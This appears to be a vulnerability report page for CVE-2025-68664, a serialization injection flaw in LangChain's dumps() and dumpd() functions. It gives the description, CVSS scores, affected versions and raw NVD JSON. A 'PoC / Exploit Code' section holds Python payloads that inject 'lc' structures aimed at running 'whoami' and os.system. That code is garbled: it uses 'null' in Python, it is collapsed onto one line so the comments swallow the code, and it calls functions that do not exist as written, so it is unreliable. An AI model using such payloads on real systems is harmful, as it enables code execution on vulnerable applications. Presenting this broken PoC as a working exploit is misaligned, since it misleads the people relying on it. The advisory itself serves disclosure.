Security Vulnerability Report
中文
CVE-2025-68664 CVSS 9.3 CRITICAL

CVE-2025-68664

Published: 2025-12-23 23:15:45
Last Modified: 2026-01-13 15:58:23

Description

LangChain is a framework for building agents and LLM-powered applications. Prior to versions 0.3.81 and 1.2.5, a serialization injection vulnerability exists in LangChain's dumps() and dumpd() functions. The functions do not escape dictionaries with 'lc' keys when serializing free-form dictionaries. The 'lc' key is used internally by LangChain to mark serialized objects. When user-controlled data contains this key structure, it is treated as a legitimate LangChain object during deserialization rather than plain user data. This issue has been patched in versions 0.3.81 and 1.2.5.

CVSS Details

CVSS Score
9.3
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:langchain:langchain_core:*:*:*:*:*:python:*:* - VULNERABLE
cpe:2.3:a:langchain:langchain_core:*:*:*:*:*:python:*:* - VULNERABLE
LangChain < 0.3.81
LangChain < 1.2.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import langchain_core from langchain_core.messages import HumanMessage # 恶意构造的序列化数据,注入lc结构 malicious_data = { "lc": 1, "id": ["__main__", "MaliciousClass", null], "kwargs": { "command": "whoami" } } # 尝试序列化包含恶意lc结构的数据 try: serialized = langchain_core.dumps(malicious_data) print(f"Serialized: {serialized}") # 反序列化时会将lc结构当作LangChain对象处理 deserialized = langchain_core.loads(serialized) print(f"Deserialized: {deserialized}") except Exception as e: print(f"Error: {e}") # 攻击场景示例 attack_payload = { "user_input": "normal data", "lc": { "serializer": "json", "version": 1, "type": "constructor", "id": ["os", "system"] } } serialized_attack = langchain_core.dumpd(attack_payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68664", "sourceIdentifier": "[email protected]", "published": "2025-12-23T23:15:44.933", "lastModified": "2026-01-13T15:58:23.373", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LangChain is a framework for building agents and LLM-powered applications. Prior to versions 0.3.81 and 1.2.5, a serialization injection vulnerability exists in LangChain's dumps() and dumpd() functions. The functions do not escape dictionaries with 'lc' keys when serializing free-form dictionaries. The 'lc' key is used internally by LangChain to mark serialized objects. When user-controlled data contains this key structure, it is treated as a legitimate LangChain object during deserialization rather than plain user data. This issue has been patched in versions 0.3.81 and 1.2.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langchain:langchain_core:*:*:*:*:*:python:*:*", "versionEndExcluding": "0.3.81", "matchCriteriaId": "DC184324-6CF1-4F7A-B87F-6DD2120C3B3B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:langchain:langchain_core:*:*:*:*:*:python:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.2.5", "matchCriteriaId": "4298E953-ED96-49EC-8474-86095D560F2B"}]}]}], "references": [{"url": "https://github.com/langchain-ai/langchain/commit/5ec0fa69de31bbe3d76e4cf9cd65a6accb8466c8", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/langchain-ai/langchain/commit/d9ec4c5cc78960abd37da79b0250f5642e6f0ce6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/langchain-ai/langchain/pull/34455", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/langchain-ai/langchain/pull/34458", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/langchain-ai/langchain/releases/tag/langchain-core%3D%3D0.3.81", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/langchain-ai/langchain/releases/tag/langchain-core%3D%3D1.2.5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/langchain-ai/langchain/security/advisories/GHSA-c67j-w6g6-q2cm", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/langchain-ai/langchain/security/advisories/GHSA-c67j-w6g6-q2cm", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}